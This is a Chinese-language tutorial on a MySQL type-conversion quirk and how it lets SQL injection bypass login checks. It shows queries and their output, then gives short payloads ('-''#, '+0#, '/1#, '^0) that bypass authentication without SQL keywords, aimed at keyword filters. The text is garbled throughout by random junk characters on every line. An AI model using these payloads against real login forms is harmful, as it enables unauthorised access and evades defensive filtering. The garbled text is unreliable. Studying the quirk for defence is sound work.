我们先来看这样一个场景。2 i, p# k! t' C4 G }
有以下表结构:
" B; }; E$ j+ W: s" P- c- K( {4 R1 I6 L( w
mysql> desc admin;( _$ E- ^6 V! D; u: a0 _; D
+----------+--------------+------+-----+---------+----------------+
2 F. `% P8 E( _| Field | Type | Null | Key | Default | Extra |
1 h h5 c9 D& \7 c+----------+--------------+------+-----+---------+----------------+
7 I2 m2 W) ?7 S2 |$ L3 k| id | mediumint(9) | NO | PRI | NULL | auto_increment |7 a7 a. g! O8 w5 K' F
| name | char(32) | NO | UNI | NULL | |: i+ W% A0 {4 `5 k2 x
| password | char(32) | NO | UNI | NULL | |
$ j, u' X6 I% ?2 f. n* E0 ~4 P+----------+--------------+------+-----+---------+----------------+9 Z) k- ^4 {" {% c q4 O. Y7 k
3 rows in set (0.00 sec)
/ G4 E9 t; m/ u4 b! @执行select * from admin;,成功返回所有记录内容。
: u5 m/ {; d7 q. q, k6 S+ j* e6 U: F9 _" _& }7 d0 K+ h" D
7 b3 |( `2 G, n$ A) A+----+--------+----------------------------------+ [0 r! F2 } u: N2 u# A: b, |
| id | name | password |, W+ l) S9 m: p9 w. L6 t2 L7 ~8 N( W/ @
+----+--------+----------------------------------+
) w2 f R! [" ?| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |/ ^ x% p/ |* M' N) d( m+ W x
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |7 F% D' d7 c2 Y' A; F
| 4 | n00b | ff80e8508d39047460921792273533a4 |
. ~9 M' |) O7 [+----+--------+----------------------------------+% [/ p. J, W7 _+ ?& U
3 rows in set (0.00 sec)% G- r% f6 P6 d2 k3 X
执行select * from admin where name=”;,没有匹配到任何记录。
: ]9 n* ]% P9 z( U5 U
v% z, l, r! g: Rmysql> select * from admin where name = '';; b+ ?0 o0 w6 n/ e/ @9 a6 p6 c% _
Empty set (0.00 sec)
- h* X9 t" v6 p" w; N1 ]那么我们来执行select * from admin where name = ”-”;7 G* n5 o2 D3 o% S5 b$ z2 E
. R$ u+ e# d. C" q z+ Y
7 w9 K6 i f# C+----+--------+----------------------------------+) l, Q2 m. O! C
| id | name | password |' @. K8 j8 i* N0 l& o
+----+--------+----------------------------------+4 ?& G F9 c/ {( D- u: n' ~
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |" B( i& {8 \3 F- I/ @0 B
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
4 p( X3 R3 y D% }4 U7 Q( P| 4 | n00b | ff80e8508d39047460921792273533a4 |
3 C1 E" ]) w8 d' |2 z+----+--------+----------------------------------+
: n4 T2 g8 M: B1 i/ g, y3 rows in set, 3 warnings (0.00 sec)6 I* H, [( k; O# p# a, I
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: . X3 D0 g. c( C
; s; v, ~2 o' q5 Kmysql> show warnings;9 q" k7 h: s6 q3 r: L
+---------+------+------------------------------------------- @3 \7 f' b, r E% b. J) p2 O
| Level | Code | Message
5 L; Q5 f( j/ x7 V7 v% z& B. w) u7 W+---------+------+------------------------------------------& K) c" e* _4 ]9 Q& _9 f: G6 z
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
8 a; h: d2 C$ v& T| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
- k, a6 K, I& x8 X% b6 @| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
, j6 P( _' A, p6 Z+---------+------+------------------------------------------
0 _8 F$ f/ E) `3 l' w$ a/ _1 {3 rows in set (0.00 sec)
& y, u- D+ z! K0 i" {' t$ l提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
( O: m. U1 |* K' t) Y ~& W0 N. M2 o0 k
mysql> select ''-'';
W5 p! x: @ h7 W" a9 Z+-------+- _' n0 M$ e2 x X( v W( w p
| ''-'' |$ ?- C$ G: F3 K/ g2 Q
+-------+' c! }% x9 j0 Y
| 0 |
* L$ q7 G' \ D! L" ` o, p& J/ _+ _3 s+-------++ T1 d* u7 S1 w; F0 _4 R
1 row in set (0.00 sec)% Q7 H* r6 a8 v+ B
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
6 r* t5 w6 e6 F5 ?8 y8 h5 ~* H) M1 J7 P k/ Q. ^3 O3 G
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);' r& T, K8 R6 Q: k
+-----------------------------------------------------+* r" ]( R, F% r8 @* m% s0 R
| CAST((select name from admin limit 1,1) as DECIMAL) |
! l* m! _, @8 n+-----------------------------------------------------+5 p( k- N& z: M i
| 0 |* k& t- p$ A- M
+-----------------------------------------------------+
$ s/ Z& F% T5 G. P9 \4 z7 w6 y1 row in set, 1 warning (0.00 sec)
! o x! u, I2 O) O因此where语句构成了相等的条件,where 0=”=”,记录被返回。 ! n% p: V, J. R
& F n" |: y- ?8 b( i: r: xSQL注入场景: http://www.sqlzoo.net/hack/ * V* a' }. _6 |- B/ h, {+ K l$ C
6 h3 L( ]1 Y- c4 c6 @
g7 I! V3 S5 E% B w' a. e/ e- p, |0 A4 s' e) H! }. d% y
. E& x/ X- u# y7 y6 i如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 - e+ P) T8 ?/ _9 n6 w n
/ N" Y2 U, b1 {2 z
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
+ t6 n, ^" X( |0 u
9 a5 P0 @2 `1 q( N* H% @+ P" o2 @$ H w; ^, x _) {: m
2 h) `5 X! d7 i9 S. q
2 T: r7 v( U( ]# f6 t仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
! d) ?7 {. q( r+ I8 j! {$ o! H% b% Q' ]
* i% E) M, O# c c
4 }% {, K0 {$ g) P除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可/ g0 k: S( A& s' Z/ i" L
6 l$ C3 c8 R) I; [* I- j Z# `* _/ u
( }1 o) i5 r" D$ pmysql> select ''/1;% X5 R2 |% K0 `3 E, s
+------+: r; v3 i: E6 I2 f! F
| ''/1 |
5 ~) J' z4 _0 V v: j3 U- c+------+1 G5 e/ F+ j$ v4 T4 h& b5 `
| 0 |
& B" H: a7 N. c1 h7 Q+------+' d0 n/ Q( s0 h. L+ T! x
1 row in set (0.00 sec)
: n: I! n- l- a$ n6 m! a) M! ?$ m类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 ) S* |- w$ N# O0 m
2 s- Y: [" _. ^) }( A+ ~利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
1 U4 \9 r4 |1 {0 I0 S# b" f Q |
|